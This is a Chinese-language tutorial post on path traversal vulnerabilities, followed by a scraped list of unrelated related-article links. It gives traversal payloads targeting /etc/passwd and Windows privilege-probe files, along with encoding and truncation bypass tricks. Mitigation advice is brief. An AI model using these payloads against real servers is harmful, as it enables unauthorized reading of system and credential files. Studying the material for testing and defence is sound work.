前言

本文主要是对路径穿越漏洞进行学习总结,本身这个漏洞也并不常见,主要是多产生于php的程序。

这种类型的攻击强制访问文件、目录、 以及位于 Web 文档根目录之外的命令 或 CGI 根目录。

常用来其他读取、写入类漏洞结合。

路径穿越漏洞的分类

我个人给这种漏洞形成的原因可以分为两类
错误配置

由于带有中间代理转发性质的功能配置错误

程序本身代码存在问题

这一点十分好理解,就是代码写的有问题,逻辑简单,没有验证。

漏洞容易出现的位置

第一类:文件类参数

请求参数似乎包含文件或目录名称的,例如include=main.inc或template=/en/sidebar。

第二种:常见参数

cat,dir,action,board,date,detail,file,download,path,folder,prefix

include,page,inc,locate,show,doc,site,type,view,content,document

layout,mod,conf

第三种:域名根部

根据推测这种应该是由于配置问题导致的。

www.test.com/../../../../../../../../../../../etyc/passwd

攻击技巧

通过…/ 到上一层目录

这个是最基本,最常用的。

绝对路径遍历

以下 URL 可能容易受到此攻击:

https://testsite/get.php?f=list
https://testsite/get.cgi?f=5
https://testsite/get.asp?f=test

攻击者可以像这样执行此攻击:

https://testsite/get.php?f=/var/www/html/get.php
https://testsite/get.cgi?f=/var/www/html/admin/get.inc
https:// testsite/get.asp?f=/etc/passwd

当网络服务器返回有关网络应用程序错误的信息时,攻击者更容易猜测正确的位置(例如,带有源代码的文件的路径,然后可能会显示)。

相对路径遍历

相对路径遍历见的较多

http://example.com/index.php?page=../../../etc/passwd

利用技巧

权限探测

如果可以读取以下文件,那么至少的管理员组的用户,当然前提是有administrator这个用户,没有的话,就要猜测用户了。

    c:/documents and settings/administrator/ntuser.inic:/documents and settings/administrator/desktop/desktop.inic:/users/administrator/desktop/desktop.inic:/users/administrator/ntuser.ini

如果可以读取以下文件,则读取文件的进程拥有LocalSystem权限;

    c:/system volume information/wpsettings.datC:/Windows/CSC/v2.0.6/pqC:/Windows/CSC/v2.0.6/smC:/$Recycle.Bin/S-1-5-18/desktop.ini

关于LocalSystem:LocalSystem是预设的拥有本机所有权限的本地账户,这个账户跟通常的用户账户没有任何关联,也没有用户名和密码之类的凭证。这个服务账户可以打开注册表的HKEY_LOCAL_MACHINE\Security键,当LocalSystem访问网络资源时,它是作为计算机的域账户使用的。

绕过

16 位 Unicode 编码

. = %u002e
/ = %u2215
\ = %u2216

UTF-8编码

. = %c0%2e, %e0%40%ae, %c0ae
/ = %c0%af, %e0%80%af, %c0%2f
\ = %c0%5c, %c0%80%5c

UTF-7编码

UTF-7(7 位 Unicode 转换格式)是一种可变长度字符编码,

超长的 UTF-8 统一码编码

.: %c0%2e, %e0%40%ae, %c0ae
\: %c0%af, %e0%80%af, %c0%2f
/: %c0%5c, %c0%80%5c

双层url编码

. = %252e
/ = %252f
\ = %255c

非常规组合
“.”、“/”、“”,三个符号随意的组合多次(随机0-3次比较好感觉,因为看到的很多例子大概就是这样),进行绕过,如必要还可以添加其他符号进行尝试。下面是示例。也就是有点进行FUzz的意思

....//....//etc/passwd
..///....//etc/passwd
/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
..././
...\.\
..;/

%00截断

有些程序会在读取内容是添加指定后缀,使用%00可以进行截断,忽视后面的内容

http://example.com/index.php?page=../../../etc/passwd%00

PHP 修复了该问题 在版本 5.3.4 中。

"?"截断

跟上诉情况相同,在最后添加?也许同样会有效果

修复

  1. 限制目录访问
  2. 检查用户输入

参考

https://code.google.com/archive/p/teenage-mutant-ninja-turtles/wikis/AdvancedObfuscationPathtraversal.wiki

路径穿越(Path Traversal)详解相关推荐

  1. 局部路径规划器teb_local_planner详解3:跟随全局planner

    局部路径规划器teb_local_planner详解3:跟随全局planner 前言 一.相关优化项 二.与topologies相关的参数 前言 在局部路径规划器teb_local_planner详解 ...

  2. 局部路径规划器teb_local_planner详解6:关于动态障碍物与常见问题

    前言 在局部路径规划器teb_local_planner详解5:关于car-like robots中,我们介绍了与car-like机器人模型相关的参数,说明了在对接底盘的时候需要注意底盘接收的控制指令 ...

  3. 局部路径规划器teb_local_planner详解5:关于 robots models

    前言 局部路径规划器teb_local_planner详解4:关于代价地图中,我们介绍了如何使用costmap_converter 本章,我们来详细看下,对于不同的robot model ,teb是如 ...

  4. python中filepath路径怎么写_详解Python中的路径问题

    1. 绝对路径引入 Python 在搜索模块时,依次搜索sys.path里的位置,直到找到模块为止.下面命令可以查看当前的搜索路径: import sys print(sys.path) sys.pa ...

  5. Python os.path() 模块 详解 附算例

    Python os.path() 模块 函数 说明 os.path.abspath(path) 返回绝对路径 os.path.basename(path) 返回文件名 os.path.commonpr ...

  6. 【Python】之 os.path 模块详解

    前言: os.path 模块是系统路径操作模块,但实际的原理可以把它认为是处理包含斜杠("/")和反斜杠("\")字符串的模块,其中,斜杠("/&qu ...

  7. Dotween Path 路径动画使用方法详解

    Dotween对于路径动画部分的api我觉得注释的过少了,很多用法没有写清楚,这里我就对Dotween Path做一下详细说明 1.API Dotween对于路径动画就只提供了两个方法,一个是针对于世 ...

  8. Android Canvas之Path的详解与使用(二)

    Path: Path类封装复合(多轮廓)几何路径由直线段.二次曲线和三次曲线组成.它可以用画布绘制.drawPath(路径.绘制),填充或笔划(基于绘画的样式),或者可以用于剪裁或绘制路径上的文本. ...

  9. Quartz-2D绘图之路径(Paths)详解

    在上篇文章中,我们简单的理解了绘图上下文,今天我们来认识一下Quartz-2D中另一个重要的概念,路径(Paths). 一.理解路径 路径定义了一个或多个形状,或是子路径.一个子路径可由直线,曲线,或 ...

  10. html访问虚拟目录路径,IIS7.5虚拟目录物理路径指向共享文件夹详解

    本文重点描述如何使用IIS访问共享资源来架设站点或执行 ASP.Net 等脚本. UNC是 Universal Naming Convention 的简称,也叫通用命名规范.通用命名约定.网络(范指局 ...

最新文章

  1. ASP.Net中MD5和SHA1加密的几种方法
  2. 图像分类、目标检测、语义分割、实例分割和全景分割的区别
  3. orb 算法源码实现
  4. 彻底理解 Android 中的阴影
  5. iOS开发HTTPS实现之信任SSL证书和自签名证书
  6. python 从入门到实践_Python编程从入门到实践日记Day15
  7. mysql业务数据库回退_理解MySQL数据库事务-隔离性
  8. 实践:《从头到脚撸一个多人视频聊天 — 前端 WebRTC 实战(一)》
  9. 2017.6.21 大都市meg 思考记录
  10. jq写的项目如何部署到静态服务器_如何把前端项目部署到服务器
  11. dubbo学习(八)dubbo项目搭建--消费者(服务消费者)
  12. kubernetes视频教程笔记 (21)-存储-configmap
  13. 恒生电子笔试(笔试流程,笔试介绍,题型,以往笔试题)
  14. SQL中drop,delete和truncate的异同
  15. 随机数生成器Random类
  16. 软件测试的度量方法包括,软件测试过程的度量
  17. nalu模式多slice_H.264中NAL、Slice与frame意思及相互关系
  18. 【Metaverse系列一】元宇宙的奥秘
  19. linux neo4j 教程,Neo4j 入门教程 - 安装
  20. Oracle 数据去重

热门文章

  1. 【HJL-E6/A数字式交流电流继电器】
  2. python破解zip压缩包密码
  3. 什么是代理(Proxy)?
  4. 最新好看的自适应手机版软件APP下载类网站源码,游戏软件应用网站源码,自适应手机端Pbootcms模板
  5. DAX:LOOKUPVALUE 函数
  6. html中加粗的字体如何改细,css font-weight 属性设置文本字体的粗细
  7. flutter的坑.dart1与dart2写法的区别
  8. ubuntu使用gdown下载谷歌云盘(google drive)文件
  9. Mybatis注解开发指北
  10. excel填充序列_数据太多输不完?Excel自动填充帮你搞定